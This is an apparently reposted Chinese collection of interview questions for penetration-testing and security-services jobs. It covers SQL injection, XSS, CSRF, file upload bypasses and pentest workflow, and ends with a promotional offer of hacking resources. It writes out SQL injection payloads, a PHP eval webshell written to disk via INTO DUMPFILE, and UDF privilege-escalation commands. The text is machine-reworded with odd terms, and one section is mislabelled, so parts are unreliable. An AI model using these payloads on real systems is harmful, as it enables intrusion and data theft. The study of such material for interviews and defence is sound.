罪恶克星 发表于 2024-10-7 16:41:00

爆肝3个月整理的一套网络安全/渗出测试/安全服务工程师面试题

媒介

这次花了三个月的时间一边学习一边整理网络安全服务职位(包罗但不仅限于:安全服务工程师,安全运营工程师,安全运维工程师,安全攻防工程师“)的面试题目。
话不多说,让我们一起学习吧
目前来说尚有非常多的不严谨和冗余,恳请小伙伴们指正修改!
https://i-blog.csdnimg.cn/blog_migrate/2b7ac301c78c999d6a95038e4b87951b.png
一、SQL注入防护方法:



[*]失效的身份认证和会话管理
[*]跨站脚本攻击XSS
[*]直接引用不安全的对象
[*]安全配置错误
[*]敏感信息泄漏
[*]缺少功能级的访问控制
[*]跨站请求伪造CSRF
[*]使用含有已知漏洞的组件
[*]未验证的重定向和转发
二、常见的Web安全漏洞



[*]SQL注入
[*]XSS
[*]文件遍历、文件上传、文件下载
[*]垂直越权、程度越权
[*]逻辑漏洞
首先对于新人来说,大多数同学都是没有实战经验的,对应面试官提问聊聊你的渗出测试实战,但许多人却无从开口。
   【一一资助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗出测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗出工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
渗出测试流程相干
https://i-blog.csdnimg.cn/blog_migrate/a747054d84d8404bf58ac260ab7a75b2.png
一、给你一个网站你是怎样来渗出测试的?

在获取书面授权的条件下。
1)信息网络


[*]获取域名的whois信息,获取注册者邮箱姓名电话等。
[*]查询服务器旁站以及子域名站点,由于主站一样平常比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
[*]查看服务器操纵系统版本,web中心件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
[*]查看IP,举行IP地址端口扫描,对相应的端口举行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等
[*]扫描网站目次结构,看看是否可以遍历目次,或者敏感文件走漏,比如php探针
[*]google hack 进一步探测网站的信息,背景,敏感文件
2)漏洞扫描


[*]开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目次读取,任意文件读取,下载,文件包含,
[*]远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
3)漏洞使用


[*]使用以上的方式拿到webshell,或者其他权限
4)权限提拔


[*]提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,
[*]linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
5) 日志清理
6)总结陈诉及修复方案
二、渗出测试流程



[*]项目访谈
[*]信息网络:whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息
[*]漏洞扫描:Nessus, AWVS
[*]手动挖掘:逻辑漏洞
[*]验证漏洞
[*]修复发起
[*](假如有)基线检查/复验漏洞
[*]输出陈诉

[*]概述
[*]测试基本信息
[*]测试范围
[*]测试时间
[*]测试使命
[*]测试过程
[*]信息安全风险综合分析
[*]整体风险分析
[*]风险影响分析
[*]系统安全分析
[*]安全漏洞列表
[*]办理方案发起
[*]复测陈诉
SQL面试题

https://i-blog.csdnimg.cn/blog_migrate/948fd3914538d8a3550d6cb7b3b9cb78.png
一、SQL注入类型



[*]基于报错注入
[*]基于布尔的注入,根据返回页面判断条件真假的注入
[*]基于时间的盲注,不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增长)来判断。
[*]宽字节注入
[*]联合查询,可以使用 union 的环境下的注入。
[*]堆查询注入,可以同时执行多条语句的执行时的注入。
二、SQL注入的原理

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通常未经检查或者未经充分检查的用户输入数据或代码编写题目,不测酿成了代码被执行。
三、怎样举行SQL注入的防御



[*]关闭应用的错误提示
[*]加waf
[*]对输入举行过滤
[*]限定输入长度
[*]限定好数据库权限,drop/create/truncate等权限谨慎grant
[*]预编译好sql语句,python和Php中一样平常使用?作为占位符。这种方法是从编程框架方面办理使用占位符参数的sql注入,只能说一定程度上防止注入。尚有缓存溢出、制止字符等。
[*]数据库信息加密安全(引导到密码学方面)。不采取md5由于有彩虹表,一样平常是一次md5后加盐再md5
[*]清晰的编程规范,结对/自动化代码 review ,加大量现成的办理方案(PreparedStatement,ActiveRecord,歧义字符过滤, 只可访问存储过程 balabala)已经让 SQL 注入的风险变得非常低了。
[*]具体的语言怎样举行防注入,采取什么安全框架
四、sqlmap,怎么对一个注入点注入?



[*]假如是get型号,直接,sqlmap -u “诸如点网址”.
[*]假如是post型诸如点,可以sqlmap -u "注入点网址” --data=“post的参数”
[*]假如是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap -r “文件地址”
五、mysql的网站注入,5.0以上和5.0以下有什么区别?

10年前就出了5.0,现在都到5.7了,没啥意义的题目


[*]5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
[*]5.0以下是多用户单操纵,5.0以上是多用户多操做。
六、MySQL存储引擎?

1、InnoDB:主流的存储引擎。支持事务、支持行锁、支持非锁定读、支持外键约束


[*]为MySQL提供了具有提交、回滚和崩溃规复本领的事物安全(ACID兼容)存储引擎。InnoDB锁定在行级而且也在 SELECT语句中提供一个类似Oracle的非锁定读。这些功能增长了多用户部署和性能。在SQL查询中,可以自由地将InnoDB类型的表和其他MySQL的表类型混淆起来,乃至在同一个查询中也可以混淆
[*]InnoDB存储引擎为在主内存中缓存数据和索引而维持它自己的缓冲池。InnoDB将它的表和索引在一个逻辑表空间中,表空间可以包含数个文件(或原始磁盘文件)。这与MyISAM表差别,比如在MyISAM表中每个表被存放在分离的文件中。InnoDB表可以是任何尺寸,纵然在文 件尺寸被限定为2GB的操纵系统上
[*]InnoDB支持外键完备性约束,存储表中的数据时,每张表的存储都按主键次序存放,假如没有显示在表界说时指定主键,InnoDB会为每一行天生一个6字节的ROWID,并以此作为主键
2、MyISAM:访问速率快,不支持事务,渐渐被镌汰
3、MEMORY:BTREE索引或者HASH索引。将表中数据放在内存中,并发性能差。
4、MERGE、Archive等等不常用的
七、什么是事务?

事务是一组原子性的SQL语句或者说是一个独立的工作单位,假如数据库引擎能够乐成对数据库应用这组SQL语句,那么就执行,假如此中有任何一条语句由于崩溃或其它原因无法执行,那么所有的语句都不会执行。也就是说,事务内的语句,要么全部执行乐成,要么全部执行失败。
举个银行应用的典范例子:
假设银行的数据库有两张表:支票表和储备表,现在某个客户A要从其支票账户转移2000元到其储备账户,那么至少需求三个步调:
a.检查A的支票账户余额高于2000元;
b.从A的支票账户余额中减去2000元;
c.在A的储备账户余额中增长2000元。
这三个步调必须要打包在一个事务中,任何一个步调失败,则必须要回滚所有的步调,否则A作为银行的客户就可能要莫名损失2000元,就出题目了。这就是一个典范的事务,这个事务是不可分割的最小工作单位,整个事务中的所有操纵要么全部提交乐成,要么全部失败回滚,不可能只执行此中一部门,这也是事务的原子性特征。
八、读锁和写锁

读锁是共享的,即相互不阻塞的,多个客户在同一时刻可以读取同一资源,互不干扰。写锁是排他的,即一个写锁会阻塞其它的写锁和读锁,只有这样,才气确保给定时间内,只有一个用户能执行写入,防止其它用户读取正在写入的同一资源。写锁优先级高于读锁。
九、MySQL的索引

索引是资助MySQL高效获取数据的数据结构。MYISAM和InnoDB存储引擎只支持BTree索引;MEMORY和HEAP储存引擎可以支持HASH和BTREE索引。
十、ORDER BY在注入的运用

order by后面可以加字段名,表达式和字段的位置,字段的位置需要是整数型。
十一、GPC是什么?GPC之后怎么绕过?

假如magic_quotes_gpc=On,PHP解析器就会自动为post、get、cookie过来的数据增长转义字符“\”,以确保这些数据不会引动身序,特别是数据库语句由于特殊字符(认为是php的字符)引起的污染。
十二、Mysql一个@和两个@什么区别

@为用户变量,使用SET @var1=1赋值
@@ 为系统变量 ,包罗全局变量show global variables \G;和会话变量show session variables \G;
十三、注入/绕过常用的函数

1、基于布尔SQL盲注
   left(database(),1)>‘s’
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+
ascii(substr((select database()),1,1))=98
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
regexp正则注入 select user() regexp ‘^’;
select user() like ‘ro%’
2、基于报错的SQL盲注
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
2)通过floor报错 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5).multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6).polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7).multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8).linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9).multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10).exp()select * from test where id=1 and exp(~(select * from(select user())a));
3、延时注入怎样来判断?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
十四、盲注和延时注入的共同点?

都是一个字符一个字符的判断
十五、怎样拿一个网站的webshell?

上传,背景编辑模板,sql注入写文件,命令执行,代码执行,
一些已经爆出的cms漏洞,比如dedecms背景可以直接创建脚本文件,wordpress上传插件包含脚本文件zip压缩包等
十六、sql注入写文件都有哪些函数?

select ‘一句话’ into outfile ‘路径’
select ‘一句话’ into dumpfile ‘路径’
select ‘<?php eval($\_POST\) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;
十七、各种写shell的题目

1、写shell用什么函数?


[*]select '<?php phpinfo()> into outfile ‘D:/shelltest.php’
[*]dumpfile
[*]file_put_contents
2、outfile不能用了怎么办?


[*]select unhex(‘udf.dll hex code’) into dumpfile ‘c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll’;可以UDF提权 https://www.cnblogs.com/milantgh/p/5444398.html
3、dumpfile和outfile有什么不一样?outfile得当导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。
4、sleep()能不能写shell?
5、写shell的条件?


[*]用户权限
[*]目次读写权限
[*]防止命令执行:disable_functions,禁止了disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,但是可以用dl扩展执行命令或者ImageMagick漏洞 https://www.waitalone.cn/imagemagic-bypass-disable_function.html
[*]open_basedir: 将用户可操纵的文件限定在某目次下
十八、sql注入写文件都有哪些函数?



[*]select ‘一句话’ into outfile ‘路径’
[*]select ‘一句话’ into dumpfile ‘路径’
[*]select ‘<?php eval($\_POST\) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;
十九、sql二次注入

第一次举行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对此中的特殊字符举行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次举行需要举行查询的时候,直接从数据库中取出了脏数据,没有举行进一步的查验和处理,这样就会造成SQL的二次注入。
交友网站,填写年岁处是一个注入点,页面会显示出与你相同年岁的用户有几个。使用and 1=1确定注入点,用order by探测列数,union select探测输出点是第几列,
暴库 group_concat(schema_name) from information_schema.schemata
暴表 group_concat(table_name) from information_schema.schemata where table_schema=‘hhh’
获取数据 concat(flag) from flag
修复:在从数据库或文件中取数据的时候,也要举行转义或者过滤。
二十、SQL和NoSQL的区别

SQL关系型数据库,NoSQL(Not only SQL)非关系型数据库
SQL优点

关系型数据库是指用关系数学模型来表现的数据,此中是以二维表的形式描述数据。
结构稳定,不易修改,常用联表查询
查询本领高,可以操纵很复杂的查询
一致性高,处理数据会使用封锁包管数据不被改变
表具有逻辑性,易于明白
SQL缺点

不实用高并发读写
不实用海量数据高效读写
层次多,扩展性低
维护一致性开销大
涉及联表查询,复杂,慢
NoSQL优点

采取键值对存储数据
由于数据之间没有关系,所以易扩展,也易于查询
数据结构灵活,每个数据都可以有差别的结构
由于降低了一致性的要求,所以查询速率更快
比较

非关系型数据库的产生是由于随着网站的进化,并发性增长,扩展性高,一致性要求降低。这样关系型数据库最告急的一致性维护就显得有点多余,而且消耗着性能。因此有了非关系型数据库,它可以算是关系型数据库的一种弱化的结果,在海量数据存储和查询上更胜一筹。
两种数据库没有优劣之分,只是使用的环境不一样。关系型数据库可以说是更严谨的,可靠性更强的数据库,在对于数据精度要求高的环境,比如说银行系统这样天然是像mysql这样的数据库得当。非关系型数据库胜在处理大数据的速率,但是对于数据的准确度没有那么高,对于操纵量大的环境比如当前大部门web2.0的网站更加实用一些。
二十一、MongoDB注入方式

使用正则:找到y开头的name db.items.find({name: {$regex: “^y”}})
XSS CSRF XXE SSRF

https://i-blog.csdnimg.cn/blog_migrate/47d56decf9a7a60ca9ec3365c5303002.png
一、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现盗取用户信息等攻击。修复方式:对字符实体举行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、欣赏器与Web应用端采取相同的字符编码。
CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操纵执行时举行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、查验Referer.
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相干安全题目,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。
二、怎样防止CSRF?

1,验证referer
2,验证token
具体:浅谈cnode社区怎样防止csrf攻击 - CNode技能社区
三、CSRF、SSRF和重放攻击有什么区别?

CSRF是跨站请求伪造攻击,由客户端发起
SSRF是服务器端请求伪造,由服务器发起
重放攻击是将截获的数据包举行重放,达到身份认证等目标
四、啥是同源计谋,跨域有几种方式?

欣赏器安全的基石是"同源政策",目标是为了包管用户的信息安全,防止恶意网站盗取数据,避免cookie共享。同源寄义是协议、域名、端口相同的两个网页才可以共用cookie。目前假如非同源,有三种行为收到限定:
- Cookie、LocalStorage 和 IndexDB 无法读取。
- DOM 无法获得。
- AJAX 请求不能发送
五、怎样规避同源计谋?

1、JSONP

向服务器请求json数据回调,一样平常请求URL会加上&callback=xx
foo({
"ip": "8.8.8.8"
});
由于
JSONP的劫持
http://blog.knownsec.com/2015/03/jsonp_security_technic/
防御:
验证 JSON 文件调用的泉源( Referer ),但是Referer 过滤(正则)不严谨、空 Referer也不可
随机token
2、WebSocket

WebSocket是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它举行跨源通信。
3、CORS(重点)

CORS是跨源资源分享(Cross-Origin Resource Sharing)的缩写。它是W3C尺度,是跨源AJAX请求的根本办理方法。相比JSONP只能发GET请求,CORS允许任何类型的请求。
CORS请求大抵和ajax请求,但是在头信息中加上了Origin字段表明请求来自哪个源。假如orgin是允许范围之内的话,服务器返回的相应会多出Acess-Control-Allow-*的字段
与JSONP的比较
CORS与JSONP的使用目标相同,但是比JSONP更强大。
JSONP只支持GET请求,CORS支持所有类型的HTTP请求。JSONP的优势在于支持老式欣赏器,以及可以向不支持CORS的网站请求数据。
六、DOM XSS与反射XSS有啥差别,给你10s,怎样快速判断一个XSS是否是DOM XSS?



[*]存储型XSS:你发送一次带XSS代码的请求,以后这个页面的返回包里都会有XSS代码;
[*]反射型XSS:你发送一次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码;
[*]DOM型XSS:你发送一次带XSS代码的请求,在返回包里压根儿就找不到XSS代码的影子;
文件上传 文件包含漏洞

一、常见的上传绕过方式



[*]前端js验证:禁用js/burp改包
[*]巨细写
[*]双重后缀名
[*]过滤绕过 pphphp->php
[*]防护
[*]文件上传目次设置为不可执行
[*]使用白名单判断文件上传类型 用随机数改写文件名和路径
二、PHP文件包含函数



[*]include() :使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
[*]inclue_once() :功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
[*]require():使用此函数,只要程序执行,立即调用此函数包含文件,发生错误时,会输出错误信息并立即制止程序。
[*]require_once() :功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
Linux木马查杀

一、常见的设备有啥



[*]防火墙 utm 负载平衡设备
[*]IPS IDS(HIDS基于主机型入侵检测系统)
[*]堡垒机
[*]蜜罐
[*]网闸
[*]waf
[*]扫描器
[*]soc(ossim开源安全信息管理系统)
https://i-blog.csdnimg.cn/blog_migrate/fe48468218afd4d8c7cb31440927f735.png
黑客&网络安全怎样学习

本日只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图

https://i-blog.csdnimg.cn/blog_migrate/43e696fa65cf4002ebcb5c24b01da2c1.png
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,假如你能学完它们,你去就业和接私活完全没有题目。
2.视频教程

网上固然也有许多的学习资源,但基本上都残破不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗出测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
3.技能文档和电子书

技能文档也是我自己整理的,包罗我到场大型网安行动、CTF和挖SRC漏洞的经验和技能要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
4.工具包、面试题和源码

“工欲善其事必先利其器”我为各人总结出了最受接待的几十款款黑客工具。涉及范围主要集中在 信息网络、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
尚有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
这些题目都是各人在面试深敬佩、奇安信、腾讯或者其它大厂面试时常常遇到的,假如各人有好的题目或者好的看法接待分享。
参考解析:深敬佩官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表现更加易懂。
内容概要:包罗 内网、操纵系统、协议、渗出测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
https://i-blog.csdnimg.cn/blog_migrate/fcfc2d437bfcf8bde5dce80d515f83a9.png
因篇幅有限,仅展示部门资料,假如你对网络安全入门感兴趣,需要的话可以在下方
https://i-blog.csdnimg.cn/blog_migrate/efae8b63793a22fb69f5c89dc033ea55.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 爆肝3个月整理的一套网络安全/渗出测试/安全服务工程师面试题